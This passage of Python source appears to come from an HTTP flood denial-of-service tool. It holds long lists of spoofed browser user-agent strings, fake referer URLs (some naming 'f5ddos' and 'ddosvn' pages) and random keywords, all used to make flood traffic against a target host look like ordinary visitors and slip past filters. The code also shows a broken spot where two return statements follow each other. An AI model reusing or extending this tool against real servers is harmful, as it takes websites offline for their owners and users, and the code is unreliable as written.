MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_referers.append('https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=') headers_referers.append('https://drive.google.com/viewerng/viewer?url=') headers_referers.append('http://www.google.com/translate?u=') headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=') headers_referers.append('http://help.baidu.com/searchResult?keywords=') headers_referers.append('http://www.bing.com/search?q=') headers_referers.append('https://add.my.yahoo.com/rss?url=') headers_referers.append('https://play.google.com/store/search?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://php-hrdevil.rhcloud.com/f5ddos3.html?v=') headers_referers.append('http://page-xirusteam.rhcloud.com/f5ddos3.html?v=') headers_referers.append('http://king-hrdevil.rhcloud.com/f5ddos3.html?v=') headers_referers.append('http://www.bing.com/search?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://anonymouse.org/cgi-bin/anon-www.cgi/') headers_referers.append('http://ddosvn.somee.com/f5.php?v=') headers_referers.append('http://louis-ddosvn.rhcloud.com/f5.html?v=') headers_referers.append('http://' + host + '/') return(headers_referers) return(headers_useragents) def keyword_list(): global keyword_top keyword_top.append('Sex') keyword_top.append('Robin Williams') keyword_top.append('World Cup') keyword_top.append('Ca Si Le Roi') keyword_top.append('Ebola') keyword_top.append('Malaysia Airlines Flight 370') keyword_top.append('ALS Ice Bucket Challenge') keyword_top.append('Flappy Bird') keyword_top.append('Conchita Wurst') keyword_top.append('ISIS') keyword_top.append('Frozen') keyword_top.append('014 Sochi Winter Olympics') keyword_top.append('IPhone') keyword_top.append('Samsung Galaxy S5') keyword_top.append('Nexus 6') keyword_top.append('Moto G') keyword_top.append('Samsung Note 4') keyword_top.append('LG G3') keyword_top.append('Xbox One') keyword_top.append('Apple Watch') keyword_top.append('Nokia X') keyword_top.append('Ipad Air') keyword_top.append('Facebook') keyword_top.append('Sex') keyword_top.append('Robin Williams') keyword_top.append('World Cup') keyword_top.append('Ca Si Le Roi') keyword_top.append('Ebola') keyword_top.append('Malaysia Airlines Flight 370') keyword_top.append('ALS Ice Bucket Challenge') keyword_top.append('Flappy Bird') keyword_top.append('Conchita Wurst') keyword_top.append('ISIS') keyword_top.append('Frozen') keyword_top.append('014 Sochi Winter Olympics') keyword_top.append('IPhone') keyword_top.append('Samsung Galaxy S5') keyword_top.append('Nexus 6') keyword_top.append('Moto G') keyword_top.append('Samsung Note 4') keyword_top.append('LG G3') keyword_top.append('Xbox One') keyword_top.append('Apple Watch') keyword_top.append('Nokia X') keyword_top.append('Ipad Air') keyword_top.append('Facebook') keyword_top.append('Anonymous') keyword_top.append('Sex') keyword_top.append('Robin Williams') keyword_top.append('World Cup') keyword_top.append('Ca Si Le Roi') keyword_top.append('Ebola') keyword_top.append('Malaysia Airlines Flight 370') keyword_top.append('ALS Ice Bucket Challenge') keyword_top.append('Flappy Bird') keyword_top.append('Conchita Wurst') keyword_top.append('ISIS') keyword_top.append('Frozen') keyword_top.append('014 Sochi Winter Olympics') keyword_top.append('IPhone') keyword_top.append('Samsung Galaxy S5') keyword_top.append('Nexus 6') keyword_top.append('Moto G') keyword_top.append('Samsung Note 4') keyword_top.append('LG G3') keyword_top.append('Xbox One') keyword_top.append('Apple Watch') keyword_top.append('Nokia X') keyword_top.append('Ipad Air') keyword_top.append('Facebook') keyword_top.append('DVHT') keyword_top.append('VHS') keyword_top.append('THT') keyword_top.append('GLT') keyword_top.append('WT') keyword_top.append('LUX') keyword_top.append('Darius') keyword_top.append('Garen') keyword_top.append('Master Yi') keyword_top.append('Rengar') keyword_top.append('Katarina') keyword_top.append('Shen') keyword_top.append('Maphile') keyword_top.append('Support') keyword_top.append('Mid') keyword_top.append('Top') keyword_top.append('Bot') keyword_top.append('AD') keyword_top.append('Fucking') keyword_top.append('Diana') keyword_top.append('Kotex') keyword_top.append('BCS') keyword_top.append('ZingSpeed') keyword_top.append('Firerush') keyword_top.append('1Shot') keyword_top.append('TruyKich') keyword_top.append('IPhone') keyword_top.append('Star War') keyword_top.append('Windows 10') keyword_top.append('Zens Phone') keyword_top.append('Son Tung M-TP') keyword_top.append('Viurs') keyword_top.append('RIP Face') keyword_top.append('tao quan') keyword_top.append('gia xang') keyword_top.append('Roll Royce') keyword_top.append('Hai VL') keyword_top.append('Be Trang ss') keyword_top.append('FIFA') keyword_top.append('Bill Gate') keyword_top.append('UFO') keyword_top.append('Microsoft') keyword_top.append('Mark Zuckerberg') keyword_top.append('youtube') keyword_top.append('facebook') keyword_top.append('download') keyword_top.append('movies') keyword_top.append('google') keyword_top.append('streaming') keyword_top.append('hotmail') keyword_top.append('facebook login') keyword_top.append('internet') keyword_top.append('yahoo') keyword_top.append('madasfish') keyword_top.append('antivirus software') keyword_top.append('ebay') keyword_top.append('yahoo mail') keyword_top.append('craigslist') keyword_top.append('aot') keyword_top.append('paid to promote') keyword_top.append('dvd movies online') keyword_top.append('gmail') keyword_top.append('games') keyword_top.append('fb') keyword_top.append('internetreal') keyword_top.append('shopping') keyword_top.append('proxy dozer') keyword_top.append('amazon') keyword_top.append('jobs') keyword_top.append('video') keyword_top.append('promote') keyword_top.append('new') 